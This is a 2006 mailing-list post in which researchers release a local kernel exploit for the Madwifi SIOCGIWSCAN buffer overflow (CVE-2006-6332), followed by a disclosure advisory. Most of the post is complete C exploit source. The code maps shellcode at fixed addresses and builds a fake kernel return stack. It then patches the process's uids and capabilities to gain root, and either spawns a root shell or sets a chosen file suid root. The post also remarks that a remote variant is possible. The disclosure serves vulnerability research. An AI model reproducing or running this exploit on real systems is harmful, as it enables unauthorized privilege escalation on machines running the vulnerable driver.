Dailydave mailing list archives

Re: Madwifi SIOCSIWSCAN vulnerability (CVE-2006-6332)


From: TINNES Julien RD-MAPS-ISS <julien.tinnes () francetelecom com>
Date: Fri, 08 Dec 2006 11:44:56 +0100

Here it is, metasploit 3 DoS module and a very simple and raw local
exploit (which needs to be triggered by the DoS module).

A full remote exploit is possible, which would be triggered by "iwlist
ath0 scan".
You can inject code into the process' address space by using some
information elements.

-- 
Julien TINNES - & france telecom - R&D Division/MAPS/NSS
Research Engineer - Internet/Intranet Security
GPG: C050 EF1A 2919 FD87 57C4 DEDD E778 A9F0 14B9 C7D6
/* Madwifi giwscan_cb buffer overflow local kernel exploit
 *
 * CVE-2006-6332
 *
 * (C) 2006 Julien TINNES and Laurent BUTTI
 *
 * Use this local exploit in conjonction with the metasploit module
 *
 * The vulnerable function is called when asking for scan result (which you can do
 *  without privileges). 
 *  However you need to wait for your card to scan for access point before this exploit can be successfull.
 *
 * The best way to test this exploit is:
 * 1. start the metasploit module on another machine
 * 2. Bring your card up. (e.g. ifconfig ath0 up)
 * 3. ./madexploit
 *
 * This will always work because the card will automatically start scanning for APs when your
 * bring it up.
 * For testing purpose you can also launch this exploit as root, It'll automatically issue a
 * scanning request.
 * There are also ways to remotely make the card start scanning for APs. Will you find them ?
 *
 * Use -s if your kernel uses 4K stacks
 * Use '-c madexploit' if you get a segfault (actually a BUG()) after a "Success" message
 *
 * This was tested on Ubuntu 6.10, Knoppix 5.0.1 (madwifi 0.9.x) and Debian testing
 *
 * TODO: release process' locks so that system remains stable (or at least hack the task_struct to get rid of the 
BUG()s)
 *
 * Version 0.5
 */


#include <sys/types.h>
#include <sys/socket.h>
#include <net/if.h>             
#include <netinet/if_ether.h>
#include <linux/unistd.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <assert.h>
#include <errno.h>
#include <stdint.h>
#include <getopt.h>

// #include "iwlib.h"
/* defs from wireless.h and iwlib.h */

#define IW_SCAN_MAX_DATA        4096
#ifndef __user
#define __user
#endif

#define NOPS 0x90909090

#define TASK_SIZE 0xC0000000

#define SIOCSIWSCAN     0x8B18          /* trigger scanning (list cells) */
#define SIOCGIWSCAN     0x8B19          /* get scanning results */

struct  iw_point
{
  void __user   *pointer;       /* Pointer to the data  (in user space) */
  __u16         length;         /* number of fields or size in bytes */
  __u16         flags;          /* Optional params */
};

union   iwreq_data
{
        struct iw_point data;           /* Other large parameters */
};

struct  iwreq
{
        union
        {
                char    ifrn_name[IFNAMSIZ];    /* if name, e.g. "eth0" */
        } ifr_ifrn;

        /* Data part (defined just above) */
        union   iwreq_data      u;
};

#define IFNAME "ath0"

/* This magic address will pass encode_ie in madwifi
 * '3' is 0x33! */
#define KSCADDR 0x33333333

#define USCADDR 0x50000000

/* stringification */
#define xstr(s) str(s)
#define str(s) #s

#define KSTACKADDR 0x60000100

#define PGS     (4096)

/* 4046 if 4K STACK is defined */
#define THREAD_SIZE             (8192)
#define THREAD_SIZE8K           (8192)
#define THREAD_SIZE4K           (4096)

#define __syscall_return(type, res) \
do { \
        if ((unsigned long)(res) >= (unsigned long)(-(128 + 1))) { \
                errno = -(res); \
                res = -1; \
        } \
        return (type) (res); \
} while (0)

#define patchsc_with_addr(sc, addr) \
do { \
        *((void (**)())(sc+1))=addr;\
} while (0)

void    *installsc(void *scaddr, void *sh, unsigned int len);
void    *getsc(char *filename, uint32_t *len);

//_syscall3(int, myioctl2, int, d, int, request, struct iwreq *, toto);

// jmp -2
//static char sc[]="\xeb\xfe\xeb\xfe\xeb\xfe";
// mov [0], eax
//static char sc[]="\xA3\x00\x00\x00\x00";
// exit(42);
//static char sc[]="\x31\xC0\x40\xBB\x69\x7A\x00\x00\xCD\x80";
// mov eax, 0x01020304; jmp eax

char sc[128]="\xB8\x04\x03\x02\x01\xFF\xE0";
uid_t puid;
int noexit=0;

char    *chmodfile=NULL;
char chmodname[1024];

unsigned int stackheur=0;
char    *ifname=IFNAME;

struct task_struct;

typedef struct {
        unsigned long seg;
} mm_segment_t;

mm_segment_t addr_limit;

/* thread_info.h */
struct thread_info {
        struct task_struct      *task;          /* main task structure */
        struct exec_domain      *exec_domain;   /* execution domain */
        unsigned long           flags;          /* low level flags */
        unsigned long           status;         /* thread-synchronous flags */
        __u32                   cpu;            /* current CPU */
        int                     preempt_count;  /* 0 => preemptable, <0 => BUG */
        mm_segment_t            addr_limit;
        /* continued */
};

int sys_ioctl(int d, int request, struct iwreq *toto) 
{ 
        long __res; 
        __asm__ volatile ("push %%ebx ; movl %2,%%ebx ; int $0x80 ; pop %%ebx" 
                        : "=a" (__res) 
                        : "0" (__NR_ioctl),"ri" ((long)(d)),"c" ((long)(request)), 
                        "d" ((long)(toto)) : "memory"); 
        __syscall_return(int,__res); 
}

struct iretstack {
        uint32_t        eip;
        uint32_t        cs;
        uint32_t        eflags;
        uint32_t        esp;
        uint32_t        ss;
} __attribute__((packed));

void    build_iretstack(struct iretstack *dest, uint32_t eip) {

        dest->eip=eip;
        asm("xorl %0, %0\n"
                "mov %%cs, %0\n"
                "pushf\n"
                "pop %%esi\n"
                "movl %%esi, %1\n"
                "movl %%esp, %2\n"
                "xorl %3, %3\n"
                "mov %%ss, %3\n"
                : "=r" (dest->cs),  "=r" (dest->eflags), "=r" (dest->esp), "=r" (dest->ss)
                :
                : "esi"
        );
}

/* userland function, called after ksc_func */
void    usc_func(void) {
        int ret;

        printf("[+] Address space limit heuristic: 0x%lX\n", addr_limit.seg);

        if (getuid() == 0) {
                printf("[+] Success\n");
                if (chmodfile != NULL) {
                        ret=chown(chmodfile, 0, 0);
                        if (ret == -1) {
                                perror("chown");
                                exit(1);
                        } else
                                ret=chmod(chmodfile, 04755);
                        if (ret == -1) {
                                perror("chmod");
                                exit(1);
                        }

                        if (noexit) {
                                printf("[+] Sleeping forever\n");
                                while(1) 
                                        sleep(10);
                        } else
                                /* we may BUG() here... */
                                exit(0);
                } else 
                        execlp("/bin/sh", "sh", NULL);
        } else {
                printf("[-] Failure\n");
                exit(42);
        }
}

static inline struct thread_info *current_thread_info(__u32 tsize) {
        struct thread_info *ti;
        //__asm__("andl %%esp,%0; ":"=r" (ti) : "0" (~(THREAD_SIZE - 1)));
        __asm__("andl %%esp,%0; ":"=r" (ti) : "0" (~(tsize - 1)));
        return ti;
}

/* Our kernel mode function */
void    ksc_func(void) {
        uid_t *tsk;
        
        /* Lame heuristic to try and detect 4K stacks */
        if (stackheur) {
                addr_limit.seg=current_thread_info(THREAD_SIZE4K)->addr_limit.seg;
                if (addr_limit.seg == TASK_SIZE)
                        tsk=(uid_t *) (current_thread_info(THREAD_SIZE4K)->task);
                else
                        tsk=(uid_t *) (current_thread_info(THREAD_SIZE8K)->task);
        } else {
                addr_limit.seg=current_thread_info(THREAD_SIZE8K)->addr_limit.seg;
                tsk=(uid_t *) (current_thread_info(THREAD_SIZE8K)->task);
        }

        /* look for uid,euid,suid,fsuid */
        while( (tsk[0] != puid) || (tsk [1] != puid) || (tsk [2] != puid) || (tsk [3] != puid) ) 
                tsk++;

        /* patch uids and gids */
        //tsk[0]=tsk[1]=tsk[2]=tsk[3]=0;
        memset(tsk, 0, 8*sizeof(uid_t));

        /* patch capabilities */
        tsk+=9;
        memset(tsk, 0xFFFFFFFF , 3*sizeof(uid_t));
        
        asm(".intel_syntax noprefix\n"
                "sti\n"
                "mov  esp, " xstr(KSTACKADDR) "\n"
                "iret\n"
        ".att_syntax noprefix\n");
}

int     main(int argc, char **argv) {

        int     skfd, counter=0;
        struct iwreq    wrq;
        unsigned char *buffer = NULL;           /* Results */
        int     buflen = IW_SCAN_MAX_DATA; /* Min for compat WE<17 */

        printf("Madwifi SIOCGIWSCAN ioctl local exploit\n\n"
                "(C) 2006 Julien TINNES and Laurent BUTTI\n\n");

        /* support -c on self */
        if (( geteuid() == 0) && (getuid() !=0)) {
                setuid(0);
                setgid(0);
                execlp("/bin/sh", "sh", NULL);
        }

        for (;;) {
                int option_index = 0, c;
                static struct option long_options[] =
                {
                        {"stackheur", 0, 0, 's'},
                        {"help", 0, 0, 'h'},
                        {"interface", 1, 0, 'i'},
                        {"chown/chmod", 1, 0, 'c'},
                        {"noexit", 1, 0, 'n'},
                        {0,0,0,0}
                };

                c = getopt_long (argc, argv, "nc:shi:", long_options, &option_index);

                if (c == -1)
                        break;
                
                switch (c)
                {
                        case 0:
                                printf("This case should'nt happen\n");
                                break;

                        case 's':
                                printf("[+] Using stack heuristic \n");
                                stackheur=1;
                                break;
                        case 'i':
                                ifname=optarg;
                                break;
                        case 'c':
                                if ( (strlen(optarg)+1) > sizeof(chmodname))
                                        exit(1);
                                /* We better not rely on the stack */
                                strcpy(chmodname, optarg);
                                chmodfile=chmodname;
                                printf("[+] chmod/chown %s if success\n", chmodfile);
                                break;
                        case 'n':
                                noexit=1;
                                break;
                        case 'h':
                        case '?':
                        default:
                                printf("Usage %s [options]\n\n"
                                                "Options:\n"
                                                "-s\t Use heuristic to determine kernel stack size\n"
                                                "-i <iface>\t Use interface 'iface'\n"
                                                "-c <file>\t Make 'file' suid root\n"
                                                "-n\tdo not exit after chown/chmod\n"
                                                , argv[0]);
                                exit(1);
                }
        }



        puid=getuid();
        
        printf("[+] Using interface %s\n", ifname);

        /* install kernel shellcode */
        //scmap=getsc("ksc", &sclen);
        patchsc_with_addr(sc, ksc_func);

        //if (installsc((void *) KSCADDR, scmap, sclen) == MAP_FAILED) {
        if (installsc((void *) KSCADDR, sc, sizeof(sc)) == MAP_FAILED) {
                perror("installksc");
                exit(1);
        }

        printf("[+] Kernel shellcode installed at 0x%X\n", KSCADDR);

        /* install user shellcode */
        //scmap=getsc("usc", &sclen);
        patchsc_with_addr(sc, usc_func);

        //if (installsc((void *) USCADDR, scmap, sclen) == MAP_FAILED) {
        if (installsc((void *) USCADDR, sc, sizeof(sc)) == MAP_FAILED) {
                perror("installusc");
                exit(1);
        }

        printf("[+] User shellcode installed at 0x%X\n", USCADDR);

        /* allocate space for kernel stack */
        if (installsc((void *) KSTACKADDR, "", 0) == MAP_FAILED) {
                perror("installkstack");
                exit(1);
        }

        /* This is a lame workaround to prevent giwscan_cb from crashing
         * before returning. We create two pages so that structure pointers
         * can be recursively dereferenced.
         * A proper exploit should not do that :) */

        /* allocate self-dereferencable page */
        if (installsc((void *) NOPS, "", 0) == MAP_FAILED) {
                perror("self-deref-page");
                exit(1);
        }

        if (installsc((void *) 0, "", 0) == MAP_FAILED) {
                perror("self-deref-page");
                exit(1);
        }
        bzero(NULL,  PGS);

        assert((KSTACKADDR & 0xFFF) > sizeof(struct iretstack));
        build_iretstack( (struct iretstack *) KSTACKADDR, USCADDR);

        printf("[+] Fake stack installed at 0x%X (CS: 0x%X, EFLAGS: 0x%X, ESP: 0x%X, SS: 0x%X, EIP: 0x%X)\n", 
KSTACKADDR, ((struct iretstack *) KSTACKADDR)->cs, ((struct iretstack *) KSTACKADDR)->eflags, ((struct iretstack *) 
KSTACKADDR)->esp, ((struct iretstack *) KSTACKADDR)->ss, ((struct iretstack *) KSTACKADDR)->eip);

        /* trigger vulnerable function */
        buffer = malloc(buflen);
        if (!buffer) {
                perror("malloc");
                exit(1);
        }

        /* Initialize wrq */
        wrq.u.data.pointer = NULL;
        wrq.u.data.flags = 0;
        wrq.u.data.length = 0;

        strncpy(wrq.ifr_name, ifname, IFNAMSIZ);

        if ((skfd= socket(AF_INET, SOCK_DGRAM, 0)) == -1) {
                perror("socket");
                exit(1);
        }

        if(ioctl(skfd, SIOCSIWSCAN, &wrq) == -1) {
                perror("[-] ioctl SIOCSIWSCAN");
                printf("    -> This is not fatal (you can wait or ifdown/up your wifi interface to speedup the 
process)\n");
        } else {
                printf("[+] Launching new scan with ioctl SIOCSIWSCAN\n");
        }

        /* Initialize wrq */
        wrq.u.data.pointer = buffer;
        wrq.u.data.flags = 0;
        wrq.u.data.length = buflen;

        while (1) {
                printf("[.] Trying to trigger bug in giwscan_cb (%d) (you must run the metasploit module)\n", 
counter++);
                if (sys_ioctl(skfd, SIOCGIWSCAN, &wrq) == -1) {
                //if (ioctl(skfd, SIOCGIWSCAN, &wrq) == -1) {
                        perror("[-] ioctl SIOCGIWSCAN");
                        exit(1);
                }
                sleep(1);
        }
        return 0;
}

/* allocate memory and install shellcode at address scaddr (pads with nops so that shellcode is page-aligned) */
void    *installsc(void *scaddr, void *sh, unsigned int len) {
        void    *scpt;

        assert(getpagesize() == PGS);

        /* allocate one extra page which will be filled by nops */
        scpt=mmap((void *)((uint32_t) scaddr & ~(PGS-1)), PGS + len, PROT_WRITE | PROT_READ | PROT_EXEC, MAP_FIXED | 
MAP_PRIVATE | MAP_ANONYMOUS | MAP_LOCKED | MAP_POPULATE, 0, 0);    
        
        if (scpt == MAP_FAILED) {
                perror("mmap");
                return scpt;
        }

        /* fill first page with nops */
        memset(scpt, NOPS, PGS);
        /* and copy shellcode */
        memcpy(scpt+PGS, sh, len);
        return scpt;
}

/* map shellcode found in filename in memory, return its address */
void    *getsc(char *filename, uint32_t *len) {
        int     scfd;
        void    *scmap;
        struct  stat scstat;

        scfd=stat(filename, &scstat);
        if (scfd == -1) {
                perror("stat");
                exit(1);
        }

        *len=scstat.st_size;

        scfd=open(filename, O_RDONLY);

        if (scfd == -1) {
                perror("open");
                exit(1);
        }

        scmap=mmap(0, *len, PROT_READ, MAP_SHARED, scfd, 0);

        if (scmap == MAP_FAILED) {
                perror("mmap");
                exit(1);
        }

        return scmap;   
}

Attachment: madwifi_giwscan_cb.rb
Description:

Name:           Madwifi SIOCGIWSCAN buffer overflow
Vendor:         http://www.madwifi.org
Release date:   December, 7th 2006
CVE ID:         CVE-2006-6332
Authors:        Laurent BUTTI, Jerome RAZNIEWSKI, Julien TINNES


1. Description

There  is a  buffer  overflow  in the  madwifi  Atheros  driver in  some
functions called by SIOCSIWSCAN ioctl.

This  issue is  remotely exploitable  because ioctl  SIOCSIWSCAN may  be
called  automatically by  some connexion  managers (either  directly, by
using iwlib or  by calling iwlist) when  trying to get a  list of nearby
access points.

2. Details

There  is  a  stack  buffer   overflow  in  both  the  giwscan_cb()  and
encode_ie()  functions  (ieee80211_wireless.c).   The  first  issue,  in
giwscan_cb, is  related with insufficient  checks on the length  in some
802.11 information elements which are controlled by the attacker:

        memcpy(buf, se->se_wpa_ie, se->se_wpa_ie[1] + 2);

The second issue is improper  boundary checks in encode_ie() where ielen
is never checked with bufsize.

        for (i = 0; i < ielen && bufsize > 2; i++)
                p += sprintf(p, "%02x", ie[i]);

A properly  crafted 802.11 beacon  or probe response frame  will trigger
the bug  when a process tries  to get scanning results  by calling ioctl
SIOCGIWSCAN. The information element used  by the attacker can be either
WPA  IE, RSN  IE, WMM  IE or  ATH IE  and will  lead to  a kernel  stack
overflow.

3. Vendor status

The vendor was notified on December, 6th 2006 and issued version 0.9.2.1
to correct the issue.

4. Authors

Laurent BUTTI <laurent.butti at francetelecom.com>
Jerome RAZNIEWSKI <jerome.razniewski at francetelecom.com>
Julien TINNES <julien.tinnes at francetelecom.com>
_______________________________________________
Dailydave mailing list
Dailydave () lists immunitysec com
http://lists.immunitysec.com/mailman/listinfo/dailydave

Current thread: